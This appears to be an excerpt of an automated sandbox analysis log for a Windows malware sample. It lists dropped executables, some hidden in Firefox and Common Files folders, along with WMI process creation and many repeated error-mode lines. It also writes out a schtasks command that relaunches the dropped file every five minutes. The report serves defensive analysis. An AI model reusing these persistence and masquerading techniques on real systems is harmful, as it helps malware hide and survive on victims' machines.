Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executable to a common third party application directory

Source: C:\blocksavesperfMonitorDll\reviewDll.exe

File written: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Jump to behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	File created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	File created: C:\blocksavesperfMonitorDll\reviewDll.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	File created: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Jump to dropped file
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	File created: C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	Jump to dropped file
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	File created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Jump to dropped file
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	File created: C:\Users\Public\AccountPictures\RuntimeBroker.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\blocksavesperfMonitorDll\reviewDll.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /f

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
